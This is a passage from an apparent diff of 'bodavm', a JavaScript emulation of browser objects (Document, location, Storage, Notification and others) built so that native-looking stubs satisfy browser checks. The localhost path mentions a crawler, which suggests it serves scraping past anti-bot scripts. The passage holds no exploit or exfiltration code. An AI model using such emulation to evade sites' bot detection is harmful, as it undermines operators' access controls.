bodavm.memory.globalobj['Document'].prototype, "Document", "querySelector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "querySelectorAll", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelectorAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "querySelectorAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "releaseEvents", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "releaseEvents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "replaceChildren", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceChildren() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "replaceChildren", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitCancelFullScreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitCancelFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCancelFullScreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitExitFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitExitFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitExitFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "write", { + configurable: true, + enumerable: true, + writable: true, + value: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "write", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "writeln", { + configurable: true, + enumerable: true, + writable: true, + value: function writeln() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "writeln", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "prerendering", { + configurable: true, + enumerable: true, + get: function prerendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "prerendering_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onprerenderingchange", { + configurable: true, + enumerable: true, + get: function onprerenderingchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprerenderingchange_get", arguments); + }, + set: function onprerenderingchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprerenderingchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fragmentDirective", { + configurable: true, + enumerable: true, + get: function fragmentDirective() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fragmentDirective_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforematch", { + configurable: true, + enumerable: true, + get: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_get", arguments); + }, + set: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "timeline", { + configurable: true, + enumerable: true, + get: function timeline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "timeline_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontentvisibilityautostatechange", { + configurable: true, + enumerable: true, + get: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontentvisibilityautostatechange_get", arguments); + }, + set: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontentvisibilityautostatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function getAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getAnimations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "startViewTransition", { + configurable: true, + enumerable: true, + writable: true, + value: function startViewTransition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "startViewTransition", arguments); + } +}, 'prototype'); +// HTMLDocument对象 + +bodavm.memory.globalobj['HTMLDocument'] = function HTMLDocument() { + console.log_copy('HTMLDocument 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDocument)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDocument'], "HTMLDocument"); +bodavm.memory.globalobj['HTMLDocument'].prototype.__proto__ = bodavm.memory.globalobj['Document'].prototype; +bodavm.memory.globalobj['HTMLDocument'].__proto__ = bodavm.memory.globalobj['Document']; + +// document对象 + +bodavm.memory.globalobj['document'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['document'].__proto__ = bodavm.memory.globalobj['HTMLDocument'].prototype; +bodavm.toolsFunc.defineProperty('document', "location", { + configurable: false, + enumerable: true, + get: function location() { + return bodavm.toolsFunc.dispatch(this, document, "document", "location_get", arguments); + }, + set: function location() { + return bodavm.toolsFunc.dispatch(this, document, "document", "location_set", arguments); + } +}); +// AuthenticatorResponse对象 + +bodavm.memory.globalobj['AuthenticatorResponse'] = function AuthenticatorResponse() { + console.log_copy('AuthenticatorResponse 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AuthenticatorResponse)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorResponse'], "AuthenticatorResponse"); +bodavm.toolsFunc.defineProperty('AuthenticatorResponse', "clientDataJSON", { + configurable: true, + enumerable: true, + get: function clientDataJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorResponse'].prototype, "AuthenticatorResponse", "clientDataJSON_get", arguments); + }, + set: undefined +}, 'prototype'); +// Location对象 + +bodavm.memory.globalobj['Location'] = function Location() { + console.log_copy('Location 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Location)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Location'], "Location"); + +// location对象 + +bodavm.memory.globalobj['location'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['location'].__proto__ = bodavm.memory.globalobj['Location'].prototype; +bodavm.toolsFunc.defineProperty('location', "valueOf", { + configurable: false, + enumerable: false, + writable: false, + value: function valueOf() { + return bodavm.toolsFunc.dispatch(this, location, "location", "valueOf", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "ancestorOrigins", { + configurable: false, + enumerable: true, + get: function ancestorOrigins() { + return bodavm.toolsFunc.dispatch(this, location, "location", "ancestorOrigins_get", arguments); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('location', "href", { + configurable: false, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, location, "location", "href_get", arguments, 'http://localhost:63342/%E7%88%AC%E8%99%AB/5s/test.html?_ijt=q7afj33h2bteshkjvmn3buhan8&_ij_reload=RELOAD_ON_SAVE'); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, location, "location", "href_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "origin", { + configurable: false, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, location, "location", "origin_get", arguments, 'http://localhost:63342'); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('location', "protocol", { + configurable: false, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, location, "location", "protocol_get", arguments, 'http:'); + }, + set: function protocol() { + return bodavm.toolsFunc.dispatch(this, location, "location", "protocol_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "host", { + configurable: false, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, location, "location", "host_get", arguments, 'localhost:63342'); + }, + set: function host() { + return bodavm.toolsFunc.dispatch(this, location, "location", "host_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "hostname", { + configurable: false, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, location, "location", "hostname_get", arguments, 'localhost'); + }, + set: function hostname() { + return bodavm.toolsFunc.dispatch(this, location, "location", "hostname_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "port", { + configurable: false, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, location, "location", "port_get", arguments, '63342'); + }, + set: function port() { + return bodavm.toolsFunc.dispatch(this, location, "location", "port_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "pathname", { + configurable: false, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, location, "location", "pathname_get", arguments, '/%E7%88%AC%E8%99%AB/5s/test.html'); + }, + set: function pathname() { + return bodavm.toolsFunc.dispatch(this, location, "location", "pathname_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "search", { + configurable: false, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, location, "location", "search_get", arguments, '?_ijt=q7afj33h2bteshkjvmn3buhan8&_ij_reload=RELOAD_ON_SAVE'); + }, + set: function search() { + return bodavm.toolsFunc.dispatch(this, location, "location", "search_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "hash", { + configurable: false, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, location, "location", "hash_get", arguments, ''); + }, + set: function hash() { + return bodavm.toolsFunc.dispatch(this, location, "location", "hash_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "assign", { + configurable: false, + enumerable: true, + writable: false, + value: function assign() { + return bodavm.toolsFunc.dispatch(this, location, "location", "assign", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "reload", { + configurable: false, + enumerable: true, + writable: false, + value: function reload() { + return bodavm.toolsFunc.dispatch(this, location, "location", "reload", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "replace", { + configurable: false, + enumerable: true, + writable: false, + value: function replace() { + return bodavm.toolsFunc.dispatch(this, location, "location", "replace", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "toString", { + configurable: false, + enumerable: true, + writable: false, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, location, "location", "toString", arguments); + } +}); +// Storage对象 + +bodavm.memory.globalobj['Storage'] = function Storage() { + console.log_copy('Storage 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Storage)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Storage'], "Storage"); +bodavm.toolsFunc.defineProperty('Storage', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "key", { + configurable: true, + enumerable: true, + writable: true, + value: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "key", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "setItem", { + configurable: true, + enumerable: true, + writable: true, + value: function setItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "setItem", arguments); + } +}, 'prototype'); +// CharacterData对象 + +bodavm.memory.globalobj['CharacterData'] = function CharacterData() { + console.log_copy('CharacterData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CharacterData)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CharacterData'], "CharacterData"); +bodavm.memory.globalobj['CharacterData'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['CharacterData'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('CharacterData', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_get", arguments); + }, + set: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "previousElementSibling", { + configurable: true, + enumerable: true, + get: function previousElementSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "previousElementSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "nextElementSibling", { + configurable: true, + enumerable: true, + get: function nextElementSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "nextElementSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "after", { + configurable: true, + enumerable: true, + writable: true, + value: function after() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "after", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "appendData", { + configurable: true, + enumerable: true, + writable: true, + value: function appendData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "appendData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "before", { + configurable: true, + enumerable: true, + writable: true, + value: function before() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "before", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "deleteData", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "deleteData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "insertData", { + configurable: true, + enumerable: true, + writable: true, + value: function insertData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "insertData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "replaceData", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "replaceWith", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceWith() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceWith", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "substringData", { + configurable: true, + enumerable: true, + writable: true, + value: function substringData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "substringData", arguments); + } +}, 'prototype'); +// Text对象 + +bodavm.memory.globalobj['Text'] = function Text() { + console.log_copy('Text 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Text(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Text'], "Text"); +bodavm.memory.globalobj['Text'].prototype.__proto__ = bodavm.memory.globalobj['CharacterData'].prototype; +bodavm.memory.globalobj['Text'].__proto__ = bodavm.memory.globalobj['CharacterData']; +bodavm.toolsFunc.defineProperty('Text', "wholeText", { + configurable: true, + enumerable: true, + get: function wholeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "wholeText_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Text', "assignedSlot", { + configurable: true, + enumerable: true, + get: function assignedSlot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "assignedSlot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Text', "splitText", { + configurable: true, + enumerable: true, + writable: true, + value: function splitText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "splitText", arguments); + } +}, 'prototype'); +// BarProp对象 +bodavm.memory.globalobj['Database'] = function Database() { + console.log_copy('Database 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Database'], "Database"); +bodavm.toolsFunc.defineProperty('Database', "version", { + configurable: true, + enumerable: true, + get: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "version", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Database', "readTransaction", { + configurable: true, + enumerable: true, + writable: true, + value: function readTransaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "readTransaction", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Database', "transaction", { + configurable: true, + enumerable: true, + writable: true, + value: function transaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "transaction", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Database', "changeVersion", { + configurable: true, + enumerable: true, + writable: true, + value: function changeVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "changeVersion", arguments); + } +}, 'prototype'); +bodavm.memory.globalobj['database'] = {}; +bodavm.memory.globalobj['database'].__proto__ = bodavm.memory.globalobj['Database'].prototype; +// CloseEvent对象 + +bodavm.memory.globalobj['CloseEvent'] = function CloseEvent() { + console.log_copy('CloseEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CloseEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CloseEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CloseEvent'], "CloseEvent"); +bodavm.memory.globalobj['CloseEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['CloseEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('CloseEvent', "wasClean", { + configurable: true, + enumerable: true, + get: function wasClean() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "wasClean_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CloseEvent', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CloseEvent', "reason", { + configurable: true, + enumerable: true, + get: function reason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "reason_get", arguments); + }, + set: undefined +}, 'prototype'); +// Notification对象 + +bodavm.memory.globalobj['Notification'] = function Notification() { + console.log_copy('Notification 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Notification)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Notification': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Notification'], "Notification"); +bodavm.memory.globalobj['Notification'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Notification'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Notification', "permission", { + configurable: true, + enumerable: true, + get: function permission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "permission_get", arguments, 'default'); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('Notification', "maxActions", { + configurable: true, + enumerable: true, + get: function maxActions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "maxActions_get", arguments, 2); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('Notification', "requestPermission", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPermission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "requestPermission", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Notification', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "onshow", { + configurable: true, + enumerable: true, + get: function onshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_get", arguments); + }, + set: function onshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "title_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "dir", { + configurable: true, + enumerable: true, + get: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "dir_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "lang", { + configurable: true, + enumerable: true, + get: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "lang_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "body", { + configurable: true, + enumerable: true, + get: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "body_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "tag", { + configurable: true, + enumerable: true, + get: function tag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "tag_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "icon", { + configurable: true, + enumerable: true, + get: function icon() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "icon_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "badge", { + configurable: true, + enumerable: true, + get: function badge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "badge_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "vibrate", { + configurable: true, + enumerable: true, + get: function vibrate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "vibrate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "renotify", { + configurable: true, + enumerable: true, + get: function renotify() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "renotify_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "silent", { + configurable: true, + enumerable: true, + get: function silent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "silent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "requireInteraction", { + configurable: true, + enumerable: true, + get: function requireInteraction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "requireInteraction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "actions", { + configurable: true, + enumerable: true, + get: function actions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "actions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "image", { + configurable: true, + enumerable: true, + get: function image() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "image_get", arguments); + }, + set: undefined +}, 'prototype'); +// IDBDatabase对象 + +bodavm.memory.globalobj['IDBDatabase'] = function IDBDatabase() { + console.log_copy('IDBDatabase 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBDatabase)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBDatabase'], "IDBDatabase"); +bodavm.memory.globalobj['IDBDatabase'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IDBDatabase'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IDBDatabase', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, 